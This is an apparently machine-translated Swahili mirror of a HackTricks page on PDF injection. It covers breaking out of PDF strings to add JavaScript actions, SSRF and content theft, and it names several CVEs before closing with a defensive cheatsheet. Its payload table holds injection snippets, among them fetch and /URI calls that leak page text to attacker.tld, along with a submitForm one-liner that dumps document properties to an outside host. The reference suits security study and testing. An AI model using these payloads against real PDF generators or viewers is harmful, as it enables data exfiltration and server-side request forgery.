mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
56 lines
5.0 KiB
Markdown
56 lines
5.0 KiB
Markdown
# PDF Injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
**Ikiwa ingizo lako linaonyeshwa ndani ya faili la PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript, kufanya SSRF au kuiba maudhui ya PDF.**
|
||
Sintaksia ya PDF ni ya kuruhusu sana - ikiwa unaweza kutoka kwenye mfuatano au kamusi inayojumuisha ingizo lako unaweza kuongeza vitu vipya kabisa (au funguo mpya katika kitu hicho hicho) ambacho Acrobat/Chrome kitafurahia kuchambua.
|
||
Tangu mwaka wa 2024, wimbi la ripoti za bug-bounty limeonyesha kwamba *parenthesis moja isiyo na kuepukwa au back-slash inatosha* kwa utekelezaji kamili wa script.
|
||
|
||
## TL;DR – Mchakato wa Shambulio wa Kisasa (2024)
|
||
1. Pata thamani yoyote inayodhibitiwa na mtumiaji ambayo inaishia ndani ya **(parenthesis string)**, `/URI ( … )` au `/JS ( … )` uwanja katika PDF iliyozalishwa.
|
||
2. Ingiza `) ` (kufunga mfuatano) ikifuatiwa na moja ya primitives zilizo hapa chini na kumaliza na parenthesis nyingine ya ufunguzi ili kuweka sintaksia kuwa sahihi.
|
||
3. Toa PDF yenye uharibifu kwa mwathirika (au kwa huduma ya nyuma inayotengeneza faili kiotomatiki - nzuri kwa makosa ya kipofu).
|
||
4. Payload yako inafanya kazi katika mtazamaji wa PDF:
|
||
* Chrome / Edge → PDFium Sandbox
|
||
* Firefox → PDF.js (ona CVE-2024-4367)
|
||
* Acrobat → Full JavaScript API (inaweza kuhamasisha maudhui ya faili yoyote kwa `this.getPageNthWord`)
|
||
|
||
Mfano (kuiba kiungo cha maelezo):
|
||
```pdf
|
||
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
|
||
```
|
||
*`)` ya kwanza inafunga mfuatano wa URI wa awali, kisha tunaongeza kamusi mpya ya **Action** ambayo Acrobat itatekeleza wakati mtumiaji anapobofya kiungo.*
|
||
|
||
## Primitives za Injection Zinazofaa
|
||
| Lengo | Kipande cha Payload | Maelezo |
|
||
|------|-----------------|-------|
|
||
| **JavaScript kwenye ufunguzi** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Inatekelezwa mara moja wakati hati inafunguliwa (inafanya kazi katika Acrobat, si katika Chrome). |
|
||
| **JavaScript kwenye kiungo** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Inafanya kazi katika PDFium & Acrobat ikiwa unadhibiti `/Link` annotation. |
|
||
| **Kuvuja kwa data kwa siri** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Changanya na `this.getPageNthWord` ndani ya JS ili kuiba maudhui. |
|
||
| **Server-Side SSRF** | Kama ilivyo hapo juu lakini lengo ni URL ya ndani – nzuri wakati PDF inatolewa na huduma za ofisi za nyuma ambazo heshimu `/URI`. |
|
||
| **Mstari wa Kuvunja kwa vitu vipya** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ikiwa maktaba inakuwezesha kuingiza wahusika wapya wa mstari unaweza kuunda vitu vipya kabisa. |
|
||
|
||
## Hila ya Blind Enumeration
|
||
Gareth Heyes (PortSwigger) alitoa mstari mmoja unaoelezea kila kitu ndani ya hati isiyojulikana – muhimu unaposhindwa kuona PDF iliyotengenezwa:
|
||
```pdf
|
||
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
|
||
```
|
||
K code inazunguka Acrobat DOM na kufanya maombi ya nje kwa kila mali/kiwango, ikikupa *JSON-ish* dump ya faili. Tazama karatasi ya nyeupe “Portable Data **ex**Filtration” kwa mbinu kamili.
|
||
|
||
## Real-World Bugs (2023-2025)
|
||
* **CVE-2024-4367** – Utekelezaji wa JavaScript wa kiholela katika PDF.js ya Firefox kabla ya 4.2.67 ilipita sandbox kwa hatua iliyoundwa ya `/JavaScript`.
|
||
* **Bug bounty 2024-05** – Fintech kubwa iliruhusu maelezo ya ankara yaliyotolewa na wateja ambayo yalifika katika `/URI`; ripoti ililipwa $10k baada ya kuonyesha SSRF kwa mwenyeji wa metadata wa ndani kwa kutumia `file:///` URI.
|
||
* **CVE-2023-26155** – `node-qpdf` command-injection kupitia njia ya PDF isiyo safishwa inaonyesha umuhimu wa kukwepa backslashes na mabano hata *kabla* ya safu ya PDF.
|
||
|
||
## Defensive Cheatsheet
|
||
1. **Usiunganishe kamwe pembejeo za mtumiaji za moja kwa moja** ndani ya `(`…`)` nyuzi au majina. Kwepa `\`, `(`, `)` kama inavyohitajika na §7.3 ya spesifiki ya PDF au tumia nyuzi za hex `<...>`.
|
||
2. Ikiwa unajenga viungo, pendelea `/URI (https://…)` ambayo ume *weka* URL-kodisha kikamilifu; zuia mipango ya `javascript:` katika watazamaji wa mteja.
|
||
3. Ondoa au thibitisha kamusi za `/OpenAction`, `/AA` (hatua za ziada), `/Launch`, `/SubmitForm` na `/ImportData` wakati wa usindikaji wa baada ya PDFs.
|
||
4. Kwenye upande wa seva, uwasilishe PDFs zisizoaminika kwa kutumia *converter isiyo na kichwa* (mfano qpdf –decrypt –linearize) ambayo inatoa JavaScript na hatua za nje.
|
||
5. Hifadhi watazamaji wa PDF wakiwa na sasisho; PDF.js < 4.2.67 na Acrobat Reader kabla ya patchi za Julai 2024 zinaruhusu utekelezaji wa msimbo wa kawaida.
|
||
|
||
## References
|
||
* Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (updated May 2024). <https://portswigger.net/research/portable-data-exfiltration>
|
||
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
|
||
{{#include ../../banners/hacktricks-training.md}}
|